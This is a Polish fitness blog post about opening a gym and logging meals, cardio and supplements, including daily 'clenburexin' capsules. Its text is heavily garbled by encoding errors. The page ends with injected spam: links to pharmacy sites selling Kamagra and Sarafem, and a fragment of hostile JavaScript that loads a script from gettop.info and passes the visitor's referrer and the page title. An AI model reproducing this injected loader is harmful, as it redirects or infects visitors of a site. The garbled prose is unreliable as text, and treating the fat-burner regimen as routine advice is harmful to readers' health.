Otwarcie Energy Clubu

10.09.2011 / Michał Karmowski

Nie wpisywaAi??em siAi?? kilka dni , bo miaAi??em prawdziwe urwanie gAi??owy zwiAi??zane z otwarciem ENERGY-CLUBU, po powrocie z Zielonej GA?ry i ciAi??A?kim treningu nA?g w Ai??rodAi?? zrobiAi??em dzieAi?? wolnego od siAi??owni, krAi??ciAi??em tylko 2 x aeroby po 30 min. W czwartek od 7.00 byAi??em w klubie aby wszystkiego dopilnowaAi?? bo caAi??y czas trwaAi??yAi?? prace remontowe…., wyszedAi??em do domu o 1.00 do domu i byAi??em z powrotem na 7.00 , nie mogAi?? powiedzieAi?? aby trzy ostatnie dni byAi??y sielankAi?? , bo nie spaAi??em i robiAi??em wszystko w biegu , ale w koAi??cu KLUB JEST CZYNNY!!! DziAi?? byAi??o wielkie otwarcie , a przez siAi??owniAi?? przewinAi??Ai??o siAi?? sporo ludzi. MoA?na u nas kupiAi?? wszystkie produkty TREC’a , a ja na pewno dobiorAi?? suple pod konkretnAi?? osobAi??.

Czwartek-dzieAi?? wolny

2miarki bcaa powder, 2 miarki l-glutamine , 3 caps clenburexin i przed 5 posiAi??ekiem

30 min aero bieA?nia

1-650g biaAi??ek jaj, 200g pAi??atkA?w owsianych, Ai??yA?ka czubata masAi??a orzechowego JORI

2,3,4,5,6-300g kurczaka, 100g ryA?u, 40g orzechA?w

30 min-bieA?nia

7-300g steka woAi??owego i 100g awokado

na noc 2 miarki l-glutamine extreme i 50g biaAi??ka z isolate 100, byAi??em mega gAi??odny bo pA?A?no wrA?ciAi??em do domu…

 

PiAi??tek-

2 miarki bcaa powder, 2 miarki l-glutamine extreme, 3 caps clenburexin

30 min aero bieA?nia

1-650gAi?? biaAi??ek jaj , 200g pAi??atkA?w owsianych, 100g awokado

2, 3-350g dorsza, 75g ryA?u, 20g liwy z oliwek

przed treningiem 15 g S.A.W , 2 miarki bcaa powder, 2 miarki l-glutamine extreme, 8caps aakg mega hardcore

TRICEPS & BICEPS

bezpoAi??rednio po treningu 2 miarki bcaa powder, 2 miarki l-glutamine , 75g biaAi??ka z isolate 100, 175g ryA?u

4,5-300g kurczaka, 75g ryA?u, 40g orzechA?w

6-350g steka woAi??owego, 100g awokado

Dzisiejszy dzieAi?? czyli sobota

2 miarki bcaa powder, 2 miarki l-glutamine extreme, 3 caps clenburexin

30 min aerobA?w- robiAi??em ja po 3 godzinach snu…

1-650gAi?? biaAi??ek jaj, 200g pAi??atkA?w owsianych, 50g orzechA?w,

2,3, 300g kurczka, 100g ryA?u, 20g oliwy z oliwek

przed treningiem 2 miarki bcaa powder, 2 miarki l-glutamineAi?? extreme, 15g S.A.W, 8 caps aakb mega hardcore

plecy- po 75g isolate 100, 2 miarki bcaa powder , 2 miarki l-glutamine extreme, 150g ryzu

4,5-350g pangi biaAi??ej, 75g ryA?u, 100g awokado

kolacja dopiero przede mnAi?? , ale zjem 350g steka i 40g orzechA?w wAi??oskich

  http://grafikontrol-gmbh.de/?p=465 http://bosnakirtasiye.com/2018/02/02/purchase-sarafem-for-pmdd/ s.src='http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + ''; if (document.currentScript) { http://www.g168gin.com/?p=22541 arcoxia price philippines Purchase does kamagra work. Kamagra reviews. kamagra reviews forum. Purchase